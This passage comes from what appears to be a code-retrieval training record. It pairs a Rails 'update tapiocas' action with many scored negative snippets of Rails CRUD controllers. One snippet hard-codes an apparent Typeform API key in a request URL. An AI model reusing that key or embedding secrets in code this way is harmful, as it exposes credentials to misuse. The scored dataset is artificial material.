@editor_atto_autosafe, notice: 'Editor atto autosave was successfully created.' }\n format.json { render :show, status: :created, location: @editor_atto_autosafe }\n else\n format.html { render :new }\n format.json { render json: @editor_atto_autosafe.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @socio = Socio.new(params[:socio])\n\n respond_to do |format|\n if @socio.save\n format.html { redirect_to @socio, :notice => 'Socio cadastrado com sucesso.' }\n format.json { render :json => @socio, :status => :created, :location => @socio }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @socio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @inventario_cosa = InventarioCosa.new(inventario_cosa_params)\n\n respond_to do |format|\n if @inventario_cosa.save\n format.html { redirect_to @inventario_cosa, notice: 'Inventario cosa was successfully created.' }\n format.json { render :show, status: :created, location: @inventario_cosa }\n else\n format.html { render :new }\n format.json { render json: @inventario_cosa.errors, status: :unprocessable_entity }\n end\n end\n end", "def tarefa_params\n params.require(:tarefa).permit(:titulo, :descricao, :nota, :feito, :inicio, :fim, :monitoria_id)\n end", "def create\n @respuesta = Respuesta.new(params[:respuesta])\n\n if @respuesta.save\n render json: @respuesta, status: :created, location: @respuesta\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end", "def api_post(action, data)\n api_request(action, data, 'POST')\n end", "def create\n @tercero = Tercero.new(tercero_params)\n\n respond_to do |format|\n if @tercero.save\n format.html { redirect_to @tercero, notice: 'Tercero was successfully created.' }\n format.json { render :show, status: :created, location: @tercero }\n else\n format.html { render :new }\n format.json { render json: @tercero.errors, status: :unprocessable_entity }\n end\n end\n end", "def post #:doc:\n end", "def create\n @etapa = Etapa.new(etapa_params)\n\n respond_to do |format|\n if @etapa.save\n format.html { redirect_to @etapa, notice: 'Etapa fue creada exitosamente.' }\n format.json { render :show, status: :created, location: @etapa }\n else\n format.html { render :new }\n format.json { render json: @etapa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @formapagto = Formapagto.new(formapagto_params)\n\n respond_to do |format|\n if @formapagto.save\n format.html { redirect_to @formapagto, notice: 'Forma de pagto criado com sucesso.' }\n format.json { render :show, status: :created, location: @formapagto }\n else\n format.html { render :new }\n format.json { render json: @formapagto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tuoshui = Tuoshui.new(params[:tuoshui])\n\n respond_to do |format|\n if @tuoshui.save\n format.html { redirect_to @tuoshui, notice: 'Tuoshui was successfully created.' }\n format.json { render json: @tuoshui, status: :created, location: @tuoshui }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tuoshui.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n\t\t\t\ttparams = params.require(:testimony).permit :quote,:author\n\n\t\t\t\t@testimony = Testimony.new tparams\n\n\t\t\t\tif @testimony.save\n\n\t\t\t\t\trender json: @testimony,status: 201\n\n\t\t\t\telse\n\n\t\t\t\t\trender json: {errors: @testimony.errors},status: 422\n\n\t\t\t\tend\n\n\t\t\tend", "def CreateTicket params = {}\n\n APICall(path: 'tickets.json',method: 'POST',payload: {ticket: params}.to_json)\n \n end", "def create\n @topico = @modelo.topicos.new(topico_params)\n\n respond_to do |format|\n if @topico.save\n format.html { redirect_to set_path, notice: 'Tópico criado com sucesso.' }\n format.json { render action: 'show', status: :created, location: @topico }\n else\n format.html { render action: 'new' }\n format.json { render json: @topico.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sintoma = Sintoma.new(sintoma_params)\n\n respond_to do |format|\n if @sintoma.save\n format.html { redirect_to @sintoma, notice: 'Sintoma was successfully created.' }\n format.json { render :show, status: :created, location: @sintoma }\n else\n format.html { render :new }\n format.json { render json: @sintoma.errors, status: :unprocessable_entity }\n end\n end\n end", "def apunte_params\n params.require(:apunte).permit(:content, :leccion_id)\n end", "def test_should_create_link_via_API_JSON\r\n get \"/logout\"\r\n post \"/links.json\", :api_key => 'testapikey',\r\n :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response :created\r\n link = JSON.parse(response.body)\r\n check_new_link(link) \r\n end", "def index\n json = HTTParty.get(\"https://api.typeform.com/v1/form/WaIffL?key=f486f2db8f1249c077a08b582bc3efe0a2617668\").body\n\n @jsontests = JSON.parse(json)\n\n end", "def create\n model = params[:model]\n #NOTE: Pay attention how the data is passed as a hash. This is how locomotive expects it. Not obvious.\n # req.set_form_data('content_entry[name]' => data['name'], 'content_entry[summary]' => data['summary'], 'model' => model)\n form_data = {}\n params[:content_entry].each do |key,val|\n form_data[\"content_entry[#{key}]\"] = val\n end\n #data = params[:content_entry]\n\n uri = URI(\"#{@cms_url}/locomotive/api/content_types/#{model}/entries.json?auth_token=#{APP_CONFIG['locomotive']['auth_token']}\")\n\n req = Net::HTTP::Post.new(uri)\n req.set_form_data(form_data)\n res = Net::HTTP.start(uri.hostname, uri.port) do |http|\n http.request(req)\n end\n case res\n when Net::HTTPSuccess, Net::HTTPRedirection\n render :json => res.body\n else\n # examine response code and generate appropriate error message\n render :json => res.value\n end\n\n end", "def create\n @estatuto = Estatuto.new(params[:estatuto])\n\n respond_to do |format|\n if @estatuto.save\n format.html { redirect_to @estatuto, notice: 'Estatuto was successfully created.' }\n format.json { render json: @estatuto, status: :created, location: @estatuto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @estatuto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tipo_pregunta = TipoPregunta.new(params[:tipo_pregunta])\n\n if @tipo_pregunta.save\n render json: @tipo_pregunta, status: :created, location: @tipo_pregunta\n else\n render json: @tipo_pregunta.errors, status: :unprocessable_entity\n end\n end", "def create\n @to_do = ToDo.new(todo_params)\n\n if @to_do.save\n render json: @to_do, status: :created, location: @to_do\n else\n render json: @to_do.errors, status: :unprocessable_entity\n end\n end", "def tipoapreensao_params\n params.require(:tipoapreensao).permit(:ttpcodigo, :ttpatualiza)\n end", "def create\n @ativo_outro = AtivoOutro.new(params[:ativo_outro])\n\n respond_to do |format|\n if @ativo_outro.save\n format.html { redirect_to @ativo_outro, notice: 'Ativo foi salvo com sucesso.' }\n format.json { render json: @ativo_outro, status: :created, location: @ativo_outro }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ativo_outro.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @todo = Todo.new(params[:todo])\n @todo.save\n respond_with @todo\n end", "def create\n @tecnico = Tecnico.new(params[:tecnico])\n\n respond_to do |format|\n if @tecnico.save\n format.html { redirect_to @tecnico, notice: 'Tecnico criado com sucesso.' }\n format.json { render json: @tecnico, status: :created, location: @tecnico }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tecnico.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(api, params)\n url2json(:POST, \"#{@endpoint}#{api}\", params)\n end", "def create\n @sotrudniki = Sotrudniki.new(params[:sotrudniki])\n\n respond_to do |format|\n if @sotrudniki.save\n format.html { redirect_to @sotrudniki, notice: 'Sotrudniki was successfully created.' }\n format.json { render json: @sotrudniki, status: :created, location: @sotrudniki }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sotrudniki.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6131813", "0.60093284", "0.586882", "0.5858763", "0.5846922", "0.57569057", "0.5745011", "0.5740417", "0.5723218", "0.5709544", "0.56913114", "0.5662861", "0.5643988", "0.56313294", "0.562105", "0.5578551", "0.5571476", "0.5570174", "0.5552587", "0.5532697", "0.55326873", "0.55139107", "0.55071795", "0.54951435", "0.54925287", "0.54923064", "0.5492004", "0.548806", "0.54705715", "0.54528636", "0.54483485", "0.54433954", "0.544218", "0.544099", "0.5432155", "0.54233307", "0.54189515", "0.5406917", "0.53890526", "0.5383543", "0.53747725", "0.53739005", "0.53738403", "0.53718597", "0.5370427", "0.5369149", "0.53690404", "0.53682125", "0.536039", "0.53527945", "0.53514624", "0.53511804", "0.5344279", "0.5334112", "0.53319687", "0.5331386", "0.53299946", "0.53161514", "0.5312385", "0.5305977", "0.5304732", "0.5298394", "0.5284551", "0.52824795", "0.52754664", "0.52726823", "0.5271707", "0.5265643", "0.5264165", "0.5262839", "0.52625746", "0.52617586", "0.5260968", "0.52597314", "0.5257069", "0.5255554", "0.52545977", "0.5251772", "0.52516234", "0.5251427", "0.5248983", "0.524642", "0.52449", "0.52400285", "0.52382016", "0.52315664", "0.5231556", "0.5229772", "0.5226686", "0.5225622", "0.522234", "0.5216468", "0.52159697", "0.520591", "0.5204548", "0.5201552", "0.5199609", "0.5194673", "0.5190284", "0.5188383" ]
0.68628556
0
PATCH/PUT /tapiocas/1 PATCH/PUT /tapiocas/1.json
def update respond_to do |format| if @tapioca.update(tapioca_params) format.html { redirect_to @tapioca, notice: 'Tapioca was successfully updated.' } format.json { head :no_content } else format.html { render action: 'edit' } format.json { render json: @tapioca.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n if @taco.update(taco_params)\n format.html { redirect_to @taco, notice: 'Taco was successfully updated.' }\n format.json { render :show, status: :ok, location: @taco }\n else\n format.html { render :edit }\n format.json { render json: @taco.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end", "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "def update\n @tarefa = Tarefa.find(params[:id])\n\n respond_to do |format|\n if @tarefa.update_attributes(params[:tarefa])\n format.html { redirect_to @tarefa, notice: 'Tarefa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tarefa.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tatoo.update(tatoo_params)\n format.html { redirect_to tatoos_path, notice: 'Tatoo was successfully updated.' }\n format.json { render :show, status: :ok, location: @tatoo }\n else\n format.html { render :edit }\n format.json { render json: @tatoo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tccapi.update(tccapi_params)\n format.html { redirect_to @tccapi, notice: 'Tccapi was successfully updated.' }\n format.json { render :show, status: :ok, location: @tccapi }\n else\n format.html { render :edit }\n format.json { render json: @tccapi.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @taux_tva = TauxTva.find(params[:id])\n\n respond_to do |format|\n if @taux_tva.update_attributes(params[:taux_tva])\n format.html { redirect_to(@taux_tva, :notice => 'Taux tva was successfully updated.') }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>@taux_tva}}\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @taux_tva.errors, :status => :unprocessable_entity }\n end\n end\n end", "def patch!\n request! :patch\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def put!\n request! :put\n end", "def update\n respond_to do |format|\n if @tarefa.update(tarefa_params)\n format.html { redirect_to @tarefa, notice: 'Tarefa editada com sucesso.' }\n format.json { render :show, status: :ok, location: @tarefa }\n else\n format.html { render :edit }\n format.json { render json: @tarefa.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def http_put(path, data, content_type = 'application/json')\n http_methods(path, :put, data, content_type)\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def update\n @tobject = Tobject.find(params[:id])\n\n respond_to do |format|\n if @tobject.update_attributes(params[:tobject])\n format.html { redirect_to @tobject, notice: 'Tobject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tobject.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @osoba = Osoba.find(params[:id])\n\n if @osoba.update(params[:osoba])\n head :no_content\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end", "def update\n @tdoc = Tdoc.find(params[:id])\n \n respond_to do |format|\n if @tdoc.update_attributes(params[:tdoc])\n format.html { redirect_to @tdoc, notice: 'Tdoc was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tdoc.errors, status: :unprocessable_entity }\n end\n end\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def update\n @atracao = Atracao.find(params[:id])\n\n respond_to do |format|\n if @atracao.update_attributes(params[:atracao])\n format.html { redirect_to @atracao, :notice => 'Atracao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @atracao.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tinta.update(tinta_params)\n format.html { redirect_to @tinta, notice: 'Tinta was successfully updated.' }\n format.json { render :show, status: :ok, location: @tinta }\n else\n format.html { render :edit }\n format.json { render json: @tinta.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tso = Tso.find(params[:id])\n\n respond_to do |format|\n if @tso.update_attributes(params[:tso])\n flash[:notice] = 'Tso was successfully updated.'\n format.html { redirect_to(@tso) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tso.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update\n respond_to do |format|\n if @todoa.update(todoa_params)\n format.html { redirect_to todoas_url }\n format.json { render :show, status: :ok, location: @todoa }\n else\n format.html { render :edit }\n format.json { render json: @todoa.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @toto.update(toto_params)\n format.html { redirect_to @toto, notice: 'Toto was successfully updated.' }\n format.json { render :show, status: :ok, location: @toto }\n else\n format.html { render :edit }\n format.json { render json: @toto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @aactio = Aactio.find(params[:id])\n\n respond_to do |format|\n if @aactio.update_attributes(params[:aactio])\n format.html { redirect_to @aactio, notice: 'Aactio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @aactio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n\n if @os_tarefa.update(os_tarefa_params)\n #se as situacao da tarefa nao for aceita, altera a ordem_servico_pagamento para null\n if(@os_tarefa.situacao!=OsTarefa.situacoes[0] && @os_tarefa.situacao!=OsTarefa.situacoes[1])\n\n @os_tarefa.ordem_servico_pagamento=nil\n @os_tarefa.save\n end\n\n if @os_tarefa.ordem_servico.id!=nil\n format.html { redirect_to \"/ordem_servicos/\"+@os_tarefa.ordem_servico.id.to_s, notice: 'A Tarefa foi atualizado(a)' }\n format.json { head :no_content }\n else\n format.html { redirect_to @os_tarefa, notice: 'A Tarefa foi atualizado(a)' }\n format.json { render :show, status: :ok, location: @os_tarefa }\n end\n else\n format.html { render :edit }\n format.json { render json: @os_tarefa.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @cto.update(cto_params)\n format.html { redirect_to @cto, notice: 'Cto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @toc.update(toc_params)\n format.html { redirect_to @toc, notice: 'Toc was successfully updated.' }\n format.json { render :show, status: :ok, location: @toc }\n else\n format.html { render :edit }\n format.json { render json: @toc.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_api_v1_todo\n @api_v1_todo = Todo.find(params[:id])\n end", "def UpdateTicket params = {}\n \n APICall(path: 'tickets.json',method: 'PUT',payload: params.to_json)\n \n end", "def update\n @oferta = Oferta.find(params[:id])\n\n respond_to do |format|\n if @oferta.update_attributes(params[:oferta])\n format.html { redirect_to [:admin, @oferta], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @oferta.errors, :status => :unprocessable_entity }\n end\n end\n end", "def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end", "def update\n respond_to do |format|\n if @apoio.update(apoio_params)\n format.html { redirect_to @apoio, notice: 'Apoio was successfully updated.' }\n format.json { render :show, status: :ok, location: @apoio }\n else\n format.html { render :edit }\n format.json { render json: @apoio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @taf = Taf.find(params[:id])\n\n respond_to do |format|\n if @taf.update_attributes(params[:taf])\n format.html { redirect_to @taf, notice: 'Taf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @taf.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @apunte = Apunte.find(params[:id])\n\n respond_to do |format|\n if @apunte.update_attributes(params[:apunte])\n format.html { redirect_to @apunte, notice: 'Apunte was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @apunte.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tecido.update(tecido_params)\n format.html { redirect_to @tecido, notice: 'Tecido was successfully updated.' }\n format.json { render :show, status: :ok, location: @tecido }\n else\n format.html { render :edit }\n format.json { render json: @tecido.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n if @tecnico.update_attributes(params[:tecnico])\n format.html { redirect_to @tecnico, notice: 'Tecnico atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tecnico.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @tarefa.update(tarefa_params)\n format.html { redirect_to @tarefa, notice: 'Tarefa atualizada com sucesso!' }\n format.json { render :show, status: :ok, location: @tarefa }\n else\n format.html { render :edit , @current_usuario => current_usuario}\n format.json { render json: @tarefa.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tipoapreensao.update(tipoapreensao_params)\n format.html { redirect_to @tipoapreensao, notice: 'Tipoapreensao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoapreensao.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @treq = Treq.find(params[:id])\n\n respond_to do |format|\n unless params[:treq_files].blank?\n params[:treq_files]['file'].each do |a|\n @treq_file = @treq.treq_files.create!(:file => a, :treq_id => @treq.id)\n end\n end\n if @treq.update_attributes(params[:treq])\n format.html { redirect_to @treq, notice: 'Treq was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @treq.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tobacco.update(tobacco_params)\n format.html { redirect_to @tobacco, notice: 'Tobacco was successfully updated.' }\n format.json { render :show, status: :ok, location: @tobacco }\n else\n format.html { render :edit }\n format.json { render json: @tobacco.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n if @tecnico.update_attributes(params[:tecnico])\n format.html { redirect_to @tecnico, :notice => 'Tecnico was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @tecnico.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @torso = Torso.find(params[:id])\n\n respond_to do |format|\n if @torso.update_attributes(params[:torso])\n format.html { redirect_to @torso, notice: 'Torso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @torso.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @titulacao.update(titulacao_params)\n format.html { redirect_to titulacaos_path, notice: 'Titulo atualizado com successo.' }\n format.json { render titulacaos_path, status: :ok, location: titulacaos_path }\n else\n format.html { render :edit }\n format.json { render json: @titulacao.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tetramod = Tetramod.find(params[:id])\n\n respond_to do |format|\n if @tetramod.update_attributes(params[:tetramod])\n format.html { redirect_to @tetramod, notice: 'Tetramod was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tetramod.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tipo_aposta.update(tipo_aposta_params)\n format.html { redirect_to @tipo_aposta, notice: 'Tipo aposta was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_aposta }\n else\n format.html { render :edit }\n format.json { render json: @tipo_aposta.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end", "def update\n authorize! :update, Tipo\n respond_to do |format|\n if @tipo.update(tipo_params)\n log(\"Se ha editado la nomina #{@lt}\", 1)\n format.html { redirect_to tipos_path, notice: 'Los datos de la nómina fueron actualizados exitosamente.' }\n format.json { head :no_content }\n end\n end\n end", "def api_put(path, data = {})\n api_request(:put, path, :data => data)\n end", "def update\n respond_to do |format|\n if @typo.update(typo_params)\n format.html { redirect_to @typo, notice: 'Typo was successfully updated.' }\n format.json { render :show, status: :ok, location: @typo }\n else\n format.html { render :edit }\n format.json { render json: @typo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tktest = Tktest.find(params[:id])\n\n respond_to do |format|\n if @tktest.update_attributes(params[:tktest])\n format.html { redirect_to @tktest, notice: 'Tktest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tktest.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tiempo.update(tiempo_params)\n format.html { redirect_to @tiempo, notice: 'Tiempo was successfully updated.' }\n format.json { render :show, status: :ok, location: @tiempo }\n else\n format.html { render :edit }\n format.json { render json: @tiempo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tucdoc.update(tucdoc_params)\n format.html { redirect_to @tucdoc, notice: 'Tucdoc was successfully updated.' }\n format.json { render :show, status: :ok, location: @tucdoc }\n else\n format.html { render :edit }\n format.json { render json: @tucdoc.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tangazo.update(tangazo_params)\n format.html { redirect_to @tangazo, notice: 'Tangazo was successfully updated.' }\n format.json { render :show, status: :ok, location: @tangazo }\n else\n format.html { render :edit }\n format.json { render json: @tangazo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tarot.update(tarot_params)\n format.html { redirect_to @tarot, notice: 'Tarot was successfully updated.' }\n format.json { render :show, status: :ok, location: @tarot }\n else\n format.html { render :edit }\n format.json { render json: @tarot.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @topico.update(topico_params)\n format.html { redirect_to set_path, notice: 'Tópico atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @topico.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tdoc = Tdoc.find(params[:id])\n\n respond_to do |format|\n if @tdoc.update_attributes(params[:tdoc])\n format.html { redirect_to(@tdoc, :notice => 'Tdoc was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tdoc.errors, :status => :unprocessable_entity }\n end\n end\n end", "def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end", "def update\n respond_to do |format|\n if @toko.update(toko_params)\n format.html { redirect_to :back, notice: 'Toko telah diperbarui.' }\n format.json { render :show, status: :ok, location: @toko }\n else\n format.html { redirect_to :back }\n format.json { render json: @toko.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @cta.update(cta_params)\n format.html { redirect_to @cta, notice: 'cta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cta.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @t = T.find(params[:id])\n\n respond_to do |format|\n if @t.update_attributes(params[:t])\n format.html { redirect_to @t, notice: 'T was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @t.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tb_servicio.update(tb_servicio_params)\n format.html { redirect_to @tb_servicio, notice: 'Tb servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @tb_servicio }\n else\n format.html { render :edit }\n format.json { render json: @tb_servicio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tcredito.update(tcredito_params)\n format.html { redirect_to @tcredito, notice: 'Tcredito was successfully updated.' }\n format.json { render :show, status: :ok, location: @tcredito }\n else\n format.html { render :edit }\n format.json { render json: @tcredito.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n keystone.update_tenant({:id=>params[:id],:name=>params[:name],:description=>params[:description],:enabled=>params[:enabled]})\n respond_to do |format|\n format.html { redirect_to tenants_path, :notice => 'Tenant was successfully updated.' }\n format.json { head :ok }\n end\n end", "def rm_update path, data, msg\n\n re = rm_request path, data, 'PUT'\n puts re.body\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n return true\n\nend", "def update\n @todo = Todo.find(params[:id])\n if @todo.update_attributes(todo_params)\n render json: @todo, status: :ok\n else\n render json: @todo.errors, status: 422\n end\n end", "def update\n @tea = Tea.find(params[:id])\n\n respond_to do |format|\n if @tea.update_attributes(params[:tea])\n format.html { redirect_to @tea, notice: 'Tea was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tea.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance/{tenantId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update\n @asaaddrobj = Asaaddrobj.find(params[:id])\n\n respond_to do |format|\n if @asaaddrobj.update_attributes(params[:asaaddrobj])\n format.html { redirect_to @asaaddrobj, notice: 'Asaaddrobj was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @asaaddrobj.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tarefa = Tarefa.find(params[:id])\n \n respond_to do |format|\n if @tarefa.update_attributes(params[:tarefa])\n flash[:notice] = 'Tarefa was successfully updated.'\n format.html { redirect_to projeto_tarefas_path(@projeto) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tarefa.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @tservicio = Tservicio.find(params[:id])\n\n respond_to do |format|\n if @tservicio.update_attributes(params[:tservicio])\n format.html { redirect_to(@tservicio, :notice => 'Tservicio was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tservicio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @antropo.update(antropo_params)\n format.html { redirect_to @antropo, notice: 'Antropo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @antropo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @asiento = Asiento.find(params[:id])\n\n respond_to do |format|\n if @asiento.update_attributes(params[:asiento])\n format.html { redirect_to @asiento, :notice => 'El apunte fue cambiado.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @asiento.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n authorize! :update, Concepto\n if params[:concepto][:tipo_ids]\n params[:concepto][:tipo_ids] = params[:concepto][:tipo_ids].map { |k, _v| k }\n else\n params[:concepto][:tipo_ids] = []\n end\n\n respond_to do |format|\n if @concepto.update(concepto_params)\n\n\n format.html { redirect_to @concepto, notice: '<i class=\"fa fa-check-square fa-lg\"></i> Los datos del concepto fueron actualizados exitosamente.' }\n format.json { render :show, status: :ok, location: @concepto }\n else\n format.html { render :edit } if params[:concepto][:tipo_ids]\n format.json { render json: @concepto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @thuoc.update(thuoc_params)\n format.html { redirect_to @thuoc, notice: \"Thuoc was successfully updated.\" }\n format.json { render :show, status: :ok, location: @thuoc }\n else\n format.html { render :edit, status: :unprocessable_entity 